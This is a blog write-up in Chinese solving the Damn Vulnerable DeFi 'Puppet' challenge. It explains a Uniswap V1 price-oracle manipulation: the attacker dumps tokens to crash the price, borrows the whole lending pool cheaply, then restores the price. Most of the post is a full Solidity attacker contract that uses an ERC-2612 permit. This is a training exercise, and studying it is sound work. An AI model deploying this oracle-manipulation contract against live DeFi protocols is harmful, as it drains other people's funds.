banner
zach

zach

github
twitter
medium

該專案是一個名為Puppet的Damn Vulnerable DeFi(DeFi安全漏洞)項目。

挑戰 #8 - Puppet#

為了學習 solidity 和 foundry 系統,我使用 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題,歡迎交流和共建~🎉

合約#

  • PuppetPool:提供 borrow 方法,供用戶使用 eth 購買 token,token 的價格來自於 uniswap

測試#

  • 部署 DamnValuableToken 合約,部署 UniswapV1Factory UniswapV1Exchange 合約,完成 exchange 的初始化
  • 部署 PuppetPool 合約,傳入 DamnValuableToken 和 UniswapV1Exchange 合約
  • 向 UniswapV1Exchange 中提供 token 與 eth 1:1 的流動性
  • 設置 player 和 pool 合約的 token 餘額分別為 PLAYER_INITIAL_TOKEN_BALANCE 和 POOL_INITIAL_TOKEN_BALANCE
  • 執行測試腳本
  • 期望 player 的 nonce 為 1,pool 中的 token 餘額為 0,player 中的 token 餘額大於 POOL_INITIAL_TOKEN_BALANCE

解題#

這道題的解題思路和上題類似,在 pool 提供了 borrow 方法中使用了 uniswap 作為 token 的價格預言機,那麼我們的攻擊思路就是通過操縱 uniswap 中 token 的價格以在 pool 中低價買入 token

本題提供的是 uniswap v1 合約,且題目只給了合約的 abi 和 bytecode,首先整理下 uniswap v1 的接口及我們需要用到的方法

// 計算賣出token能換出多少eth
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// 計算買入token需要多少eth
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);

完整的攻擊流程如下圖所示:

  • 第一步通過調用tokenToEthSwapInput 以賣出手中的 token 獲得 eth,從而降低在 uniswap 中的 token 價格
  • 第二步在 token 價格降低後,調用lendingPool.borrow 方法,以低價買入 token
  • 第三步再通過調用ethToTokenSwapOutput ,用手中的 eth 買入 token 來恢復 uniswap 中的 token 價格

image

通過將這三步在一筆交易內完成,player 可以獲取 lendingPool 中的全部 token 從而實現攻擊目標

在具體實現時,值得注意的是授權步驟,因為題目要求在一筆交易內完成,但是使用 uniswap 又需要 approve,因此涉及從 player 到攻擊合約到 uniswap 的三級 approve,在一筆交易內是無法實現的。

但通過看DamnValuableToken 的實現代碼,可以看到它實現的 ERC20 協議中包括了擴展的EIP- 2612 LOGIC ,包含的就是 permit 邏輯,即通過用戶在鏈下預簽名,再提供到鏈上進行驗證,從而實現了代理 approve 的機制,具體關於 ERC-2612 可以看另一篇文章的介紹

完整的合約代碼如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
    DamnValuableToken token;
    PuppetPool pool;

    receive() external payable{} // receive eth from uniswap

    constructor(uint8 v, bytes32 r, bytes32 s,
                uint256 playerAmount, uint256 poolAmount,
                address _pool, address _uniswapPair, address _token) payable{
        pool = PuppetPool(_pool);
        token = DamnValuableToken(_token);
        prepareAttack(v, r, s, playerAmount, _uniswapPair);
        // swap token for eth --> lower token price in uniswap
        _uniswapPair.call(abi.encodeWithSignature(
            "tokenToEthSwapInput(uint256,uint256,uint256)",
            playerAmount,
            1,
            type(uint256).max
        ));
        // borrow token from puppt pool
        uint256 ethValue = pool.calculateDepositRequired(poolAmount);
        pool.borrow{value: ethValue}(
            poolAmount, msg.sender
        );
        // repay tokens to uniswap --> recovery balance in uniswap
        _uniswapPair.call{value: 10 ether}(
            abi.encodeWithSignature(
                "ethToTokenSwapOutput(uint256,uint256)",
                playerAmount,
                type(uint256).max
            )
        );
        token.transfer(msg.sender, token.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
        // tranfser player token to attacker contract
        token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
        token.transferFrom(msg.sender, address(this), amount);
        token.approve(_uniswapPair, amount);
    }
}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。